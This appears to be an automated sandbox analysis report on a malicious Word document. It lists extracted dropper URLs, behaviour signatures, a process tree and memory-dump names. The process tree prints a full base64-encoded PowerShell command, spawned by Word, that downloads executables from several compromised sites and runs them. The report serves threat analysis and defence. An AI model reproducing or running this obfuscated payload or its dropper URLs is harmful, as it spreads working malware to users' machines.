Analysis
- max time kernel
134s - max time network
125s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
03/05/2024, 16:36
General
- Target 10f424c8a13143352e1701b1d7242424_JaffaCakes118.doc
- Size 159KB
- Sample240503-t4ld7aea75
- SHA256 91b47bba7cd8aab57383a8e0af59e8bc52a1898c136654a49e0ccf5ee342de02
Malware Config
Extracted
-
ps1
-
exe.dropper
http://citas.nubeweb24.com/wp-admin/bd0/
-
exe.dropper
http://wallenkelley.xyz/wp-content/A1/
-
exe.dropper
http://noraiport.nubeweb24.com/wp-admin/eh5/
-
exe.dropper
https://citybasket.in/sitemap/quZ/
-
exe.dropper
http://tingme.vn/wp-content/plugins/X/
-
exe.dropper
https://fairplay.company/wp-includes/H/
-
exe.dropper
https://casa.nubeweb24.com/wp-admin/hiR/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 4 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\10f424c8a13143352e1701b1d7242424_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABWAG0AXwBkAGEAbwByAD0AKAAoACcASwBhACcAKwAnAGIAegAnACkAKwAoACcAZwBlACcAKwAnAGUAJwApACkAOwAmACgAJwBuAGUAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABFAG4AVgA6AFUAUwBlAHIAUAByAE8ARgBpAEwARQBcAG8AbQBwADcAZQBpAGEAXABQADUANABDAEcAVwA0AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQBSAEUAYwB0AG8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAHUAUgBpAGAAVAB5AGAAcAByAGAAbwBUAG8AYwBPAGwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAxADIAJwApACsAKAAnACwAJwArACcAIAB0ACcAKQArACgAJwBsAHMAMQAnACsAJwAxACcAKQArACgAJwAsACcAKwAnACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAEMAaQB4AHgAOAAyADcAIAA9ACAAKAAoACcAWQAnACsAJwBmAGkAZwB3ACcAKQArACcAXwAnACkAOwAkAFYAdgB4AF8AagBsAGcAPQAoACgAJwBNACcAKwAnAHEAJwArACcAZAA0AHYAMwAnACkAKwAnADMAJwApADsAJABCAHYAOAB2AGQAZABpAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHkAJwArACgAJwBLAGwAJwArACcATwBtAHAANwBlACcAKwAnAGkAYQB5AEsAbAAnACkAKwAoACcAUAA1ACcAKwAnADQAJwApACsAJwBjAGcAJwArACcAdwAnACsAKAAnADQAJwArACcAeQBLAGwAJwApACkALQBDAHIAZQBwAGwAYQBDAGUAIAAgACgAJwB5ACcAKwAnAEsAbAAnACkALABbAGMAaABBAHIAXQA5ADIAKQArACQAQwBpAHgAeAA4ADIANwArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQARQA3ADQAcgBkAGgAbAA9ACgAJwBMADEAJwArACgAJwB5ACcAKwAnAGUAYQAnACkAKwAnAG8AdwAnACkAOwAkAE8AegBoAGMAegA5ADAAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AVwBlAEIAQwBsAGkARQBOAHQAOwAkAFMAeABtAGYAOAA1ADMAPQAoACgAJwBoAHQAdAAnACsAJwBwACcAKQArACgAJwA6AC8ALwBjAGkAJwArACcAdAAnACsAJwBhAHMALgBuACcAKQArACgAJwB1ACcAKwAnAGIAZQB3ACcAKQArACgAJwBlAGIAMgAnACsAJwA0ACcAKQArACgAJwAuAGMAbwBtACcAKwAnAC8AdwBwACcAKQArACcALQBhACcAKwAnAGQAbQAnACsAKAAnAGkAJwArACcAbgAvACcAKQArACgAJwBiAGQAJwArACcAMAAnACkAKwAoACcALwAnACsAJwAqAGgAdAAnACsAJwB0AHAAOgAvAC8AdwAnACkAKwAoACcAYQBsAGwAJwArACcAZQAnACkAKwAoACcAbgBrACcAKwAnAGUAJwApACsAJwBsAGwAJwArACgAJwBlAHkALgAnACsAJwB4ACcAKQArACgAJwB5ACcAKwAnAHoALwAnACkAKwAoACcAdwAnACsAJwBwAC0AJwApACsAKAAnAGMAJwArACcAbwBuAHQAZQAnACkAKwAnAG4AdAAnACsAKAAnAC8AJwArACcAQQAxAC8AKgBoAHQAdABwADoALwAnACsAJwAvAG4AJwArACcAbwByAGEAJwArACcAaQAnACsAJwBwACcAKQArACcAbwByACcAKwAnAHQAJwArACgAJwAuAG4AdQBiAGUAJwArACcAdwAnACsAJwBlAGIAMgA0AC4AJwArACcAYwAnACkAKwAoACcAbwBtAC8AJwArACcAdwAnACsAJwBwAC0AYQBkAG0AJwArACcAaQAnACsAJwBuAC8AZQBoADUALwAqACcAKwAnAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6AC8ALwBjAGkAJwApACsAKAAnAHQAeQAnACsAJwBiAGEAcwBrAGUAJwApACsAKAAnAHQAJwArACcALgBpACcAKQArACcAbgAvACcAKwAoACcAcwAnACsAJwBpACcAKwAnAHQAZQBtAGEAcAAnACkAKwAoACcALwBxAHUAWgAnACsAJwAvACcAKwAnACoAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAOgAnACkAKwAoACcALwAvAHQAaQAnACsAJwBuAGcAbQAnACsAJwBlAC4AJwApACsAKAAnAHYAbgAvACcAKwAnAHcAJwApACsAJwBwACcAKwAoACcALQAnACsAJwBjAG8AJwApACsAKAAnAG4AdABlAG4AdAAvAHAAJwArACcAbAAnACkAKwAoACcAdQBnAGkAJwArACcAbgBzAC8AJwApACsAKAAnAFgALwAnACsAJwAqAGgAdAB0AHAAJwArACcAcwA6ACcAKQArACgAJwAvAC8AZgAnACsAJwBhAGkAcgBwACcAKQArACgAJwBsAGEAeQAnACsAJwAuAGMAbwAnACkAKwAnAG0AJwArACgAJwBwACcAKwAnAGEAbgB5ACcAKQArACgAJwAvACcAKwAnAHcAcAAtACcAKQArACgAJwBpAG4AJwArACcAYwBsAHUAZABlACcAKQArACgAJwBzAC8AJwArACcASAAvACoAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAoACcAcwA6ACcAKwAnAC8AJwArACcALwBjAGEAJwApACsAKAAnAHMAYQAuAG4AdQBiAGUAdwBlAGIAMgAnACsAJwA0AC4AYwBvAG0AJwArACcALwAnACsAJwB3ACcAKwAnAHAALQBhAGQAJwArACcAbQBpAG4ALwBoACcAKQArACcAaQBSACcAKwAnAC8AJwApAC4AIgBTAFAATABgAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFYAdgBnAHMAbwBwAGgAPQAoACcARwAnACsAKAAnADcAdQBqAGMAJwArACcAbAAnACkAKwAnAHUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVwA0ADYANAB0AGEANgAgAGkAbgAgACQAUwB4AG0AZgA4ADUAMwApAHsAdAByAHkAewAkAE8AegBoAGMAegA5ADAALgAiAGQATwB3AGAATgBMAGAATwBBAGQARgBgAGkAbABlACIAKAAkAFcANAA2ADQAdABhADYALAAgACQAQgB2ADgAdgBkAGQAaQApADsAJABFAHIAYgBsADQAcwB5AD0AKAAoACcARwB1ACcAKwAnAHQAJwApACsAKAAnAHUAeQAnACsAJwBiAGUAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAQgB2ADgAdgBkAGQAaQApAC4AIgBsAEUATgBHAGAAVABoACIAIAAtAGcAZQAgADIAMQA4ADgAMgApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAtAEkAJwArACcAdABlAG0AJwApACgAJABCAHYAOAB2AGQAZABpACkAOwAkAEQAMABfAHYAawBrADMAPQAoACgAJwBOAGoAaAAnACsAJwB4ACcAKQArACgAJwBjAGEAJwArACcAZgAnACkAKQA7AGIAcgBlAGEAawA7ACQASABfAHQAbgBsAGYAbQA9ACgAKAAnAE4AJwArACcAagA1ADcAJwApACsAKAAnAHkAJwArACcAeABoACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAHAAOQBuAHUAMwA3AD0AKAAnAEgAJwArACgAJwB4ACcAKwAnAGsAagAnACkAKwAoACcAcQBfACcAKwAnAGcAJwApACkA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
sist02.xsl
__PSScriptPolicyTest_sjiv4r5a.fiy.ps1
memory/4356-30-0x00007FFE14F50000-0x00007FFE15145000-memory.dmp
memory/4356-562-0x00007FFE14F50000-0x00007FFE15145000-memory.dmp
memory/4356-4-0x00007FFDD4FD0000-0x00007FFDD4FE0000-memory.dmp
memory/4356-5-0x00007FFDD4FD0000-0x00007FFDD4FE0000-memory.dmp
memory/4356-6-0x00007FFE14F50000-0x00007FFE15145000-memory.dmp
memory/4356-7-0x00007FFE14F50000-0x00007FFE15145000-memory.dmp
memory/4356-8-0x00007FFE14F50000-0x00007FFE15145000-memory.dmp
memory/4356-10-0x00007FFE14F50000-0x00007FFE15145000-memory.dmp
memory/4356-11-0x00007FFDD2DE0000-0x00007FFDD2DF0000-memory.dmp
memory/4356-9-0x00007FFE14F50000-0x00007FFE15145000-memory.dmp
memory/4356-12-0x00007FFE14F50000-0x00007FFE15145000-memory.dmp
memory/4356-13-0x00007FFE14F50000-0x00007FFE15145000-memory.dmp
memory/4356-14-0x00007FFDD2DE0000-0x00007FFDD2DF0000-memory.dmp
memory/4356-29-0x00007FFE14F50000-0x00007FFE15145000-memory.dmp
memory/4356-2-0x00007FFE14FED000-0x00007FFE14FEE000-memory.dmp
memory/4356-592-0x00007FFE14F50000-0x00007FFE15145000-memory.dmp
memory/4356-589-0x00007FFDD4FD0000-0x00007FFDD4FE0000-memory.dmp
memory/4356-3-0x00007FFDD4FD0000-0x00007FFDD4FE0000-memory.dmp
memory/4356-57-0x00007FFE14F50000-0x00007FFE15145000-memory.dmp
memory/4356-83-0x00007FFE14F50000-0x00007FFE15145000-memory.dmp
memory/4356-1-0x00007FFDD4FD0000-0x00007FFDD4FE0000-memory.dmp
memory/4356-561-0x00007FFE14F50000-0x00007FFE15145000-memory.dmp
memory/4356-0-0x00007FFDD4FD0000-0x00007FFDD4FE0000-memory.dmp
memory/4356-563-0x00007FFE14F50000-0x00007FFE15145000-memory.dmp
memory/4356-591-0x00007FFDD4FD0000-0x00007FFDD4FE0000-memory.dmp
memory/4356-590-0x00007FFDD4FD0000-0x00007FFDD4FE0000-memory.dmp
memory/4356-588-0x00007FFDD4FD0000-0x00007FFDD4FE0000-memory.dmp
memory/4548-567-0x00007FFE14F50000-0x00007FFE15145000-memory.dmp
memory/4548-564-0x00007FFE14F50000-0x00007FFE15145000-memory.dmp
memory/4548-73-0x0000023EFBB80000-0x0000023EFBBA2000-memory.dmp
memory/4548-67-0x00007FFE14F50000-0x00007FFE15145000-memory.dmp